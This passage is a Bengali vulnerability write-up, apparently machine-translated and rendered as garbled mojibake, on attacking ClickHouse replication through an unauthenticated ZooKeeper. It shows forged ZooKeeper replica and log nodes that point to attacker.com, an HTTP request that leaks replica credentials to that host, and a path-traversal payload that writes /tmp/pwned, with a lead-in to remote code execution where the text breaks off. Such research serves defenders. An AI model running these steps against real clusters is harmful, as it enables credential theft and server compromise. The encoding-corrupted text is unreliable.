āĻāĻ āĻ¨āĻŋāĻŦāĻ¨ā§āĻ§āĻāĻŋ ClickHouse āĻ°ā§āĻĒā§āĻ˛āĻŋāĻā§āĻļāĻ¨ āĻĒā§āĻ°ā§āĻā§āĻāĻ˛ā§āĻ° āĻāĻāĻāĻŋ āĻā§āĻŦ āĻ¨āĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āĻ āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻžāĻ° āĻāĻ˛ā§āĻĒ āĻŦāĻ˛āĻŦā§, āĻāĻŦāĻ āĻāĻāĻŋāĻ āĻĻā§āĻāĻžāĻŦā§ āĻāĻŋāĻāĻžāĻŦā§ āĻāĻā§āĻ°āĻŽāĻŖā§āĻ° āĻĒā§āĻˇā§āĻ āĻā§ āĻĒā§āĻ°āĻ¸āĻžāĻ°āĻŋāĻ¤ āĻāĻ°āĻž āĻ¯āĻžāĻ¯āĻŧāĨ¤
ClickHouse āĻšāĻ˛ āĻāĻāĻāĻŋ āĻĄāĻžāĻāĻžāĻŦā§āĻ¸ āĻ¯āĻž āĻĒā§āĻ°āĻā§āĻ° āĻĒāĻ°āĻŋāĻŽāĻžāĻŖā§ āĻĄā§āĻāĻž āĻ¸āĻā§āĻāĻ¯āĻŧ āĻāĻ°ā§, āĻĒā§āĻ°āĻžāĻ¯āĻŧāĻļāĻ āĻāĻāĻžāĻ§āĻŋāĻ āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§āĻĒ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§āĨ¤ āĻā§āĻ˛āĻŋāĻāĻšāĻžāĻāĻ¸ā§ āĻā§āĻ˛āĻžāĻ¸ā§āĻāĻžāĻ°āĻŋāĻ āĻāĻŦāĻ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻāĻĒāĻ°ā§ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻā§
āĻĄāĻŋāĻĢāĻ˛ā§āĻ ZK āĻāĻ¨āĻ¸ā§āĻāĻ˛ā§āĻļāĻ¨ā§āĻ° āĻāĻ¨ā§āĻ¯ āĻĒā§āĻ°āĻŽāĻžāĻŖā§āĻāĻ°āĻŖā§āĻ° āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨ āĻšāĻ¯āĻŧ āĻ¨āĻž, āĻ¤āĻžāĻ āĻāĻžāĻĢāĻāĻž, āĻšāĻžāĻĻā§āĻĒ, āĻā§āĻ˛āĻŋāĻāĻšāĻžāĻāĻ¸ āĻāĻ¨āĻĢāĻŋāĻāĻžāĻ° āĻāĻ°āĻ¤ā§ āĻŦā§āĻ¯āĻŦāĻšā§āĻ¤ āĻšāĻžāĻāĻžāĻ° āĻšāĻžāĻāĻžāĻ° ZK āĻ¸āĻžāĻ°ā§āĻāĻžāĻ° āĻ¸āĻ°ā§āĻŦāĻāĻ¨ā§āĻ¨āĻāĻžāĻŦā§ āĻāĻĒāĻ˛āĻŦā§āĻ§āĨ¤
āĻāĻĒāĻ¨āĻžāĻ° āĻāĻā§āĻ°āĻŽāĻŖā§āĻ° āĻĒā§āĻˇā§āĻ āĻā§ āĻāĻŽāĻžāĻ¤ā§, ZooKeeper āĻāĻ¨āĻ¸ā§āĻāĻ˛ āĻāĻ°āĻžāĻ° āĻ¸āĻŽāĻ¯āĻŧ āĻāĻĒāĻ¨āĻžāĻ° āĻ¸āĻ°ā§āĻŦāĻĻāĻž āĻĒā§āĻ°āĻŽāĻžāĻŖā§āĻāĻ°āĻŖ āĻāĻŦāĻ āĻ āĻ¨ā§āĻŽā§āĻĻāĻ¨ āĻāĻ¨āĻĢāĻŋāĻāĻžāĻ° āĻāĻ°āĻž āĻāĻāĻŋāĻ¤
āĻ āĻŦāĻļā§āĻ¯āĻ āĻāĻŋāĻā§ 0āĻĻāĻŋāĻ¨ āĻāĻŋāĻ¤ā§āĻ¤āĻŋāĻ āĻāĻžāĻāĻž āĻĄāĻŋāĻ¸āĻŋāĻ°āĻŋāĻ¯āĻŧāĻžāĻ˛āĻžāĻāĻā§āĻļāĻ¨ āĻāĻā§, āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻāĻ˛ā§āĻĒāĻ¨āĻž āĻāĻ°ā§āĻ¨ āĻ¯ā§ āĻāĻāĻāĻ¨ āĻāĻā§āĻ°āĻŽāĻŖāĻāĻžāĻ°ā§ ZooKeeper-āĻ āĻĒāĻĄāĻŧāĻ¤ā§ āĻāĻŦāĻ āĻ˛āĻŋāĻāĻ¤ā§ āĻĒāĻžāĻ°ā§, āĻā§āĻ˛āĻŋāĻāĻšāĻžāĻāĻ¸ā§āĻ° āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋāĻ° āĻāĻ¨ā§āĻ¯ āĻŦā§āĻ¯āĻŦāĻšā§āĻ¤ āĻšāĻ¯āĻŧāĨ¤
āĻā§āĻ˛āĻžāĻ¸ā§āĻāĻžāĻ° āĻŽā§āĻĄā§ āĻāĻ¨āĻĢāĻŋāĻāĻžāĻ° āĻāĻ°āĻž āĻšāĻ˛ā§, āĻā§āĻ˛āĻŋāĻ āĻšāĻžāĻāĻ¸ āĻŦāĻŋāĻ¤āĻ°āĻŖ āĻāĻ°āĻž āĻĒā§āĻ°āĻļā§āĻ¨āĻā§āĻ˛āĻŋāĻā§ āĻ¸āĻŽāĻ°ā§āĻĨāĻ¨ āĻāĻ°ā§ /clickhouse/task_queue/ddl
.
āĻāĻĻāĻžāĻšāĻ°āĻŖāĻ¸ā§āĻŦāĻ°ā§āĻĒ, āĻāĻĒāĻ¨āĻŋ āĻāĻāĻāĻŋ āĻ¨ā§āĻĄ āĻ¤ā§āĻ°āĻŋ āĻāĻ°ā§āĻ¨ /clickhouse/task_queue/ddl/query-0001
āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§ āĻ¸āĻš:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
āĻāĻŦāĻ āĻāĻ° āĻĒāĻ°ā§, āĻā§āĻ˛āĻžāĻ¸ā§āĻāĻžāĻ° āĻ¸āĻžāĻ°ā§āĻāĻžāĻ° host1 āĻāĻŦāĻ host2 āĻĨā§āĻā§ āĻĒāĻ°ā§āĻā§āĻˇāĻžāĻ° āĻā§āĻŦāĻŋāĻ˛āĻāĻŋ āĻŽā§āĻā§ āĻĢā§āĻ˛āĻž āĻšāĻŦā§āĨ¤ DDL āĻā§āĻ°āĻŋāĻ¯āĻŧā§āĻ/āĻāĻ˛ā§āĻāĻžāĻ°/āĻĄā§āĻ°āĻĒ āĻā§āĻ¯āĻŧā§āĻ°āĻŋ āĻāĻžāĻ˛āĻžāĻ¨ā§ āĻ¸āĻŽāĻ°ā§āĻĨāĻ¨ āĻāĻ°ā§āĨ¤
āĻā§āĻ¤āĻŋāĻāĻ° āĻļāĻŦā§āĻĻ? āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻāĻāĻāĻ¨ āĻāĻā§āĻ°āĻŽāĻŖāĻāĻžāĻ°ā§ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§āĻ° āĻ āĻŋāĻāĻžāĻ¨āĻž āĻā§āĻĨāĻžāĻ¯āĻŧ āĻĒā§āĻ¤ā§ āĻĒāĻžāĻ°ā§?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
āĻ¨ā§āĻĄ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻž āĻšāĻŦā§ āĻāĻ˛āĻžāĻŽ и āĻŽā§āĻāĻžāĻĄāĻžāĻāĻž.
āĻ¸āĻžāĻŽāĻā§āĻ°ā§ /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
āĻāĻ āĻā§āĻ˛āĻžāĻ¸ā§āĻāĻžāĻ° āĻĨā§āĻā§ āĻĄā§āĻāĻž āĻŽāĻžāĻ°ā§āĻ āĻāĻ°āĻž āĻāĻŋ āĻ¸āĻŽā§āĻāĻŦ? āĻšā§āĻ¯āĻžāĻ, āĻ¯āĻĻāĻŋ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻĒā§āĻ°ā§āĻ (TCP/9009
) āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§ chXX-address
āĻĢāĻžāĻ¯āĻŧāĻžāĻ°āĻāĻ¯āĻŧāĻžāĻ˛ āĻŦāĻ¨ā§āĻ§ āĻāĻ°āĻž āĻšāĻŦā§ āĻ¨āĻž āĻāĻŦāĻ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋāĻ° āĻāĻ¨ā§āĻ¯ āĻĒā§āĻ°āĻŽāĻžāĻŖā§āĻāĻ°āĻŖ āĻāĻ¨āĻĢāĻŋāĻāĻžāĻ° āĻāĻ°āĻž āĻšāĻŦā§ āĻ¨āĻžāĨ¤ āĻĒā§āĻ°āĻŽāĻžāĻŖā§āĻāĻ°āĻŖ āĻŦāĻžāĻāĻĒāĻžāĻ¸ āĻāĻŋāĻāĻžāĻŦā§?
āĻāĻāĻāĻ¨ āĻāĻā§āĻ°āĻŽāĻŖāĻāĻžāĻ°ā§ āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§ āĻ
āĻ¨ā§āĻ˛āĻŋāĻĒāĻŋ āĻāĻ°ā§ ZK-āĻ āĻāĻāĻāĻŋ āĻ¨āĻ¤ā§āĻ¨ āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§āĻĒ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§ /clickhouse/tables/01-01/foobar/replicas/chXX
āĻāĻŦāĻ āĻ
āĻ°ā§āĻĨ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ host
.
āĻ¸āĻžāĻŽāĻā§āĻ°ā§ /clickhouse/tables/01â01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
āĻ¤āĻžāĻ°āĻĒāĻ°ā§ āĻāĻĒāĻ¨āĻžāĻā§ āĻ
āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋāĻā§āĻ˛āĻŋāĻā§ āĻŦāĻ˛āĻ¤ā§ āĻšāĻŦā§ āĻ¯ā§ āĻāĻā§āĻ°āĻŽāĻŖāĻāĻžāĻ°ā§āĻ° āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§ āĻĄā§āĻāĻžāĻ° āĻāĻāĻāĻŋ āĻ¨āĻ¤ā§āĻ¨ āĻŦā§āĻ˛āĻ āĻ°āĻ¯āĻŧā§āĻā§ āĻ¯āĻž āĻ¤āĻžāĻĻā§āĻ° āĻ¨āĻŋāĻ¤ā§ āĻšāĻŦā§ - ZK āĻ āĻāĻāĻāĻŋ āĻ¨ā§āĻĄ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻā§ /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX āĻāĻāĻā§āĻ¯āĻŧā§ āĻā§āĻ°āĻŽāĻŦāĻ°ā§āĻ§āĻŽāĻžāĻ¨ āĻāĻžāĻāĻ¨ā§āĻāĻžāĻ°, āĻ¯āĻž āĻāĻā§āĻ¨ā§āĻ āĻ˛āĻā§āĻ° āĻļā§āĻˇā§āĻ° āĻā§āĻ¯āĻŧā§ āĻŦāĻĄāĻŧ āĻšāĻāĻ¯āĻŧāĻž āĻāĻāĻŋāĻ¤):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
āĻ¯ā§āĻāĻžāĻ¨ā§ āĻā§āĻ¸_āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ - āĻāĻā§āĻ° āĻ§āĻžāĻĒā§ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻž āĻāĻā§āĻ°āĻŽāĻŖāĻāĻžāĻ°ā§āĻ° āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§āĻĒā§āĻ° āĻ¨āĻžāĻŽ, āĻŦā§āĻ˛āĻ_āĻāĻāĻĄāĻŋ - āĻĄā§āĻāĻž āĻŦā§āĻ˛āĻ āĻļāĻ¨āĻžāĻā§āĻ¤āĻāĻžāĻ°ā§, āĻĒāĻžāĻāĻ¯āĻŧāĻž - "āĻŦā§āĻ˛āĻ āĻĒāĻžāĻ¨" āĻāĻŽāĻžāĻ¨ā§āĻĄ (āĻāĻŦāĻ
āĻāĻ° āĻĒāĻ°ā§, āĻĒā§āĻ°āĻ¤āĻŋāĻāĻŋ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻ˛āĻā§ āĻāĻāĻāĻŋ āĻ¨āĻ¤ā§āĻ¨ āĻāĻā§āĻ¨ā§āĻ āĻĒāĻĄāĻŧā§ āĻāĻŦāĻ āĻāĻā§āĻ°āĻŽāĻŖāĻāĻžāĻ°ā§āĻ° āĻĻā§āĻŦāĻžāĻ°āĻž āĻ¨āĻŋāĻ¯āĻŧāĻ¨ā§āĻ¤ā§āĻ°āĻŋāĻ¤ āĻāĻāĻāĻŋ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§ āĻāĻŋāĻ¯āĻŧā§ āĻĄā§āĻāĻžāĻ° āĻāĻāĻāĻŋ āĻŦā§āĻ˛āĻ āĻā§āĻ°āĻšāĻŖ āĻāĻ°ā§ (āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻĒā§āĻ°ā§āĻā§āĻāĻ˛āĻāĻŋ āĻŦāĻžāĻāĻ¨āĻžāĻ°āĻŋ, HTTP-āĻāĻ° āĻāĻĒāĻ°ā§ āĻāĻ˛āĻā§)āĨ¤ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ° attacker.com
āĻ
āĻ¨ā§āĻ°ā§āĻ§ āĻĒāĻžāĻŦā§āĻ¨:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
āĻ¯ā§āĻāĻžāĻ¨ā§ XXX āĻšāĻ˛ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋāĻ° āĻāĻ¨ā§āĻ¯ āĻĒā§āĻ°āĻŽāĻžāĻŖā§āĻāĻ°āĻŖ āĻĄā§āĻāĻžāĨ¤ āĻāĻŋāĻā§ āĻā§āĻˇā§āĻ¤ā§āĻ°ā§, āĻāĻāĻŋ āĻĒā§āĻ°āĻ§āĻžāĻ¨ ClickHouse āĻĒā§āĻ°ā§āĻā§āĻāĻ˛ āĻāĻŦāĻ HTTP āĻĒā§āĻ°ā§āĻā§āĻāĻ˛ā§āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ āĻĄāĻžāĻāĻžāĻŦā§āĻ¸ā§ āĻ ā§āĻ¯āĻžāĻā§āĻ¸ā§āĻ¸ āĻ¸āĻš āĻāĻāĻāĻŋ āĻ ā§āĻ¯āĻžāĻāĻžāĻāĻ¨ā§āĻ āĻšāĻ¤ā§ āĻĒāĻžāĻ°ā§āĨ¤ āĻāĻĒāĻ¨āĻŋ āĻ¯ā§āĻŽāĻ¨ āĻĻā§āĻā§āĻā§āĻ¨, āĻāĻā§āĻ°āĻŽāĻŖā§āĻ° āĻĒā§āĻˇā§āĻ āĻāĻŋ āĻ¸āĻŽāĻžāĻ˛ā§āĻāĻ¨āĻžāĻŽā§āĻ˛āĻāĻāĻžāĻŦā§ āĻŦāĻĄāĻŧ āĻšāĻ¯āĻŧā§ āĻāĻ ā§āĻā§ āĻāĻžāĻ°āĻŖ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋāĻ° āĻāĻ¨ā§āĻ¯ āĻŦā§āĻ¯āĻŦāĻšā§āĻ¤ ZooKeeper, āĻĒā§āĻ°āĻŽāĻžāĻŖā§āĻāĻ°āĻŖ āĻāĻ¨āĻĢāĻŋāĻāĻžāĻ° āĻāĻ°āĻž āĻāĻžāĻĄāĻŧāĻžāĻ āĻ°ā§āĻā§ āĻĻā§āĻāĻ¯āĻŧāĻž āĻšāĻ¯āĻŧā§āĻāĻŋāĻ˛āĨ¤
āĻāĻ¸ā§āĻ¨ āĻāĻāĻāĻŋ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻĨā§āĻā§ āĻĄā§āĻāĻžāĻ° āĻŦā§āĻ˛āĻ āĻĒāĻžāĻāĻ¯āĻŧāĻžāĻ° āĻĢāĻžāĻāĻļāĻ¨āĻāĻŋ āĻĻā§āĻāĻŋ, āĻāĻāĻŋ āĻ¸āĻŽā§āĻĒā§āĻ°ā§āĻŖ āĻāĻ¤ā§āĻŽāĻŦāĻŋāĻļā§āĻŦāĻžāĻ¸ā§āĻ° āĻ¸āĻžāĻĨā§ āĻ˛ā§āĻāĻž āĻšāĻ¯āĻŧā§āĻā§ āĻ¯ā§ āĻ¸āĻŽāĻ¸ā§āĻ¤ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻ¯āĻĨāĻžāĻ¯āĻĨ āĻ¨āĻŋāĻ¯āĻŧāĻ¨ā§āĻ¤ā§āĻ°āĻŖā§ āĻ°āĻ¯āĻŧā§āĻā§ āĻāĻŦāĻ āĻ¤āĻžāĻĻā§āĻ° āĻŽāĻ§ā§āĻ¯ā§ āĻŦāĻŋāĻļā§āĻŦāĻžāĻ¸ āĻ°āĻ¯āĻŧā§āĻā§āĨ¤
āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻĒā§āĻ°āĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻāĻ°āĻŖ āĻā§āĻĄ
āĻĢāĻžāĻāĻļāĻ¨āĻāĻŋ āĻĢāĻžāĻāĻ˛āĻā§āĻ˛āĻŋāĻ° āĻāĻāĻāĻŋ āĻ¤āĻžāĻ˛āĻŋāĻāĻž āĻĒāĻĄāĻŧā§, āĻ¤āĻžāĻ°āĻĒāĻ°ā§ āĻ¤āĻžāĻĻā§āĻ° āĻ¨āĻžāĻŽ, āĻāĻāĻžāĻ°, āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§, āĻāĻŦāĻ āĻ¤āĻžāĻ°āĻĒāĻ° āĻĢāĻžāĻāĻ˛ āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽā§ āĻ¸ā§āĻā§āĻ˛āĻŋ āĻ˛āĻŋāĻā§āĨ¤ āĻĢāĻžāĻāĻ˛ āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽā§ āĻĄā§āĻāĻž āĻā§āĻāĻžāĻŦā§ āĻ¸āĻāĻ°āĻā§āĻˇāĻŖ āĻāĻ°āĻž āĻšāĻ¯āĻŧ āĻ¤āĻž āĻāĻ˛āĻžāĻĻāĻžāĻāĻžāĻŦā§ āĻŦāĻ°ā§āĻŖāĻ¨āĻž āĻāĻ°āĻž āĻŽā§āĻ˛ā§āĻ¯āĻŦāĻžāĻ¨āĨ¤
āĻāĻ° āĻŽāĻ§ā§āĻ¯ā§ āĻŦā§āĻļ āĻāĻ¯āĻŧā§āĻāĻāĻŋ āĻ¸āĻžāĻŦāĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋ āĻ°āĻ¯āĻŧā§āĻā§ /var/lib/clickhouse
(āĻāĻ¨āĻĢāĻŋāĻāĻžāĻ°ā§āĻļāĻ¨ āĻĢāĻžāĻāĻ˛ āĻĨā§āĻā§ āĻĄāĻŋāĻĢāĻ˛ā§āĻ āĻ¸ā§āĻā§āĻ°ā§āĻ āĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋ):
āĻĒāĻ¤āĻžāĻāĻž - āĻ°ā§āĻāĻ°ā§āĻĄāĻŋāĻāĻ¯āĻŧā§āĻ° āĻāĻ¨ā§āĻ¯ āĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋ
tmp, - āĻ
āĻ¸ā§āĻĨāĻžāĻ¯āĻŧā§ āĻĢāĻžāĻāĻ˛ āĻ¸āĻāĻ°āĻā§āĻˇāĻŖā§āĻ° āĻāĻ¨ā§āĻ¯ āĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋ;
āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻāĻžāĻ°ā§ āĻĢāĻžāĻāĻ˛ â āĻ
āĻ¨ā§āĻ°ā§āĻ§ā§āĻ° āĻĢāĻžāĻāĻ˛āĻā§āĻ˛āĻŋāĻ° āĻ¸āĻžāĻĨā§ āĻ
āĻĒāĻžāĻ°ā§āĻļāĻ¨āĻā§āĻ˛āĻŋ āĻāĻ āĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋāĻ¤ā§ āĻ¸ā§āĻŽāĻžāĻŦāĻĻā§āĻ§ (INTO OUTFILE āĻāĻŦāĻ āĻ
āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯);
āĻŽā§āĻāĻžāĻĄāĻžāĻāĻž â āĻā§āĻŦāĻŋāĻ˛ āĻŦāĻ°ā§āĻŖāĻ¨āĻž āĻ¸āĻš sql āĻĢāĻžāĻāĻ˛;
preprocessed_configs - āĻĨā§āĻā§ āĻĒā§āĻ°āĻ¸ā§āĻ¸āĻĄ āĻĄā§āĻ°āĻŋāĻā§āĻāĻŋāĻ āĻāĻ¨āĻĢāĻŋāĻāĻžāĻ°ā§āĻļāĻ¨ āĻĢāĻžāĻāĻ˛ /etc/clickhouse-server
;
āĻāĻĒāĻžāĻ¤ā§āĻ¤ - āĻĄā§āĻāĻžāĻ° āĻ¸āĻžāĻĨā§ āĻĒā§āĻ°āĻā§āĻ¤ āĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋ, āĻāĻ āĻā§āĻˇā§āĻ¤ā§āĻ°ā§ āĻĒā§āĻ°āĻ¤āĻŋāĻāĻŋ āĻĄāĻžāĻāĻžāĻŦā§āĻ¸ā§āĻ° āĻāĻ¨ā§āĻ¯ āĻāĻāĻāĻŋ āĻĒā§āĻĨāĻ āĻ¸āĻžāĻŦāĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋ āĻāĻāĻžāĻ¨ā§ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻā§ (āĻāĻĻāĻžāĻšāĻ°āĻŖāĻ¸ā§āĻŦāĻ°ā§āĻĒ /var/lib/clickhouse/data/default
).
āĻĒā§āĻ°āĻ¤āĻŋāĻāĻŋ āĻā§āĻŦāĻŋāĻ˛ā§āĻ° āĻāĻ¨ā§āĻ¯, āĻĄāĻžāĻāĻžāĻŦā§āĻ¸ āĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋāĻ¤ā§ āĻāĻāĻāĻŋ āĻ¸āĻžāĻŦāĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻž āĻšāĻ¯āĻŧāĨ¤ āĻĒā§āĻ°āĻ¤āĻŋāĻāĻŋ āĻāĻ˛āĻžāĻŽā§āĻ° āĻāĻĒāĻ° āĻ¨āĻŋāĻ°ā§āĻāĻ° āĻāĻ°ā§ āĻāĻāĻāĻŋ āĻĒā§āĻĨāĻ āĻĢāĻžāĻāĻ˛
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§āĻĒāĻāĻŋ āĻĄā§āĻāĻž āĻŦā§āĻ˛āĻ āĻĒā§āĻ°āĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻāĻ°āĻŖā§āĻ° āĻ¸āĻŽāĻ¯āĻŧ āĻāĻāĻ āĻ¨āĻžāĻŽā§āĻ° āĻĢāĻžāĻāĻ˛āĻā§āĻ˛āĻŋ āĻĒāĻžāĻāĻ¯āĻŧāĻžāĻ° āĻāĻļāĻž āĻāĻ°ā§ āĻāĻŦāĻ āĻ¸ā§āĻā§āĻ˛āĻŋāĻā§ āĻā§āĻ¨ā§āĻāĻžāĻŦā§āĻ āĻ¯āĻžāĻāĻžāĻ āĻāĻ°ā§ āĻ¨āĻžāĨ¤
āĻŽāĻ¨ā§āĻ¯ā§āĻā§ āĻĒāĻžāĻ āĻ āĻ¸āĻŽā§āĻāĻŦāĻ¤ āĻāĻ¤āĻŋāĻŽāĻ§ā§āĻ¯ā§āĻ āĻāĻāĻāĻŋ āĻĢāĻžāĻāĻļāĻ¨ā§ file_name āĻāĻ° āĻ
āĻ¨āĻŋāĻ°āĻžāĻĒāĻĻ āĻ¸āĻāĻ¯ā§āĻāĻ¨ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻā§ āĻļā§āĻ¨ā§āĻā§āĻ¨ WriteBufferFromFile
. āĻšā§āĻ¯āĻžāĻ, āĻāĻāĻŋ āĻāĻāĻāĻ¨ āĻāĻā§āĻ°āĻŽāĻŖāĻāĻžāĻ°ā§āĻā§ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻāĻžāĻ°ā§āĻ° āĻ
āĻ§āĻŋāĻāĻžāĻ° āĻ¸āĻš FS-āĻ āĻ¯ā§āĻā§āĻ¨ā§ āĻĢāĻžāĻāĻ˛ā§ āĻ¨āĻŋāĻ°ā§āĻŦāĻŋāĻāĻžāĻ°ā§ āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§ āĻ˛āĻŋāĻāĻ¤ā§ āĻĻā§āĻ¯āĻŧ clickhouse
. āĻāĻāĻŋ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯, āĻāĻā§āĻ°āĻŽāĻŖāĻāĻžāĻ°ā§āĻ° āĻĻā§āĻŦāĻžāĻ°āĻž āĻ¨āĻŋāĻ¯āĻŧāĻ¨ā§āĻ¤ā§āĻ°āĻŋāĻ¤ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋāĻā§ āĻ
āĻŦāĻļā§āĻ¯āĻ āĻ
āĻ¨ā§āĻ°ā§āĻ§ā§āĻ° āĻ¨āĻŋāĻŽā§āĻ¨āĻ˛āĻŋāĻāĻŋāĻ¤ āĻĒā§āĻ°āĻ¤āĻŋāĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻāĻŋ āĻĢā§āĻ°āĻ¤ āĻĻāĻŋāĻ¤ā§ āĻšāĻŦā§ (āĻŦā§āĻāĻžāĻ° āĻ¸ā§āĻŦāĻŋāĻ§āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻ˛āĻžāĻāĻ¨ āĻŦāĻŋāĻ°āĻ¤āĻŋ āĻ¯ā§āĻ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻā§):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
āĻāĻŦāĻ āĻ¸āĻāĻ¯ā§āĻā§āĻ¤āĻŋāĻ° āĻĒāĻ°ā§ ../../../../../../../../../tmp/pwned
āĻĢāĻžāĻāĻ˛ āĻ˛ā§āĻāĻž āĻšāĻŦā§ /tmp/pwned āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§ āĻ¸āĻš āĻšā§āĻ¯āĻžāĻ˛ā§āĻĢā§āĻ°āĻžāĻŽ āĻāĻŋāĻĄāĻŧāĻŋāĻ¯āĻŧāĻžāĻāĻžāĻ¨āĻžāĻ° āĻ°āĻā§āĻˇāĻ.
āĻĢāĻžāĻāĻ˛ āĻ˛ā§āĻāĻžāĻ° āĻā§āĻˇāĻŽāĻ¤āĻžāĻā§ āĻ°āĻŋāĻŽā§āĻ āĻā§āĻĄ āĻāĻā§āĻ¸āĻŋāĻāĻŋāĻāĻļāĻ¨ (RCE) āĻ āĻĒāĻ°āĻŋāĻŖāĻ¤ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻŦā§āĻļ āĻāĻ¯āĻŧā§āĻāĻāĻŋ āĻŦāĻŋāĻāĻ˛ā§āĻĒ āĻ°āĻ¯āĻŧā§āĻā§āĨ¤
RCE āĻŽāĻ§ā§āĻ¯ā§ āĻŦāĻšāĻŋāĻ°āĻžāĻāĻ¤ āĻ āĻāĻŋāĻ§āĻžāĻ¨
āĻĒā§āĻ°āĻžāĻ¨ā§ āĻ¸āĻāĻ¸ā§āĻāĻ°āĻŖāĻā§āĻ˛āĻŋāĻ¤ā§, āĻā§āĻ˛āĻŋāĻāĻšāĻžāĻāĻ¸ āĻ¸ā§āĻāĻŋāĻāĻ¸ āĻ¸āĻš āĻĄāĻŋāĻ°ā§āĻā§āĻāĻ°āĻŋāĻāĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻāĻžāĻ°ā§āĻ° āĻ
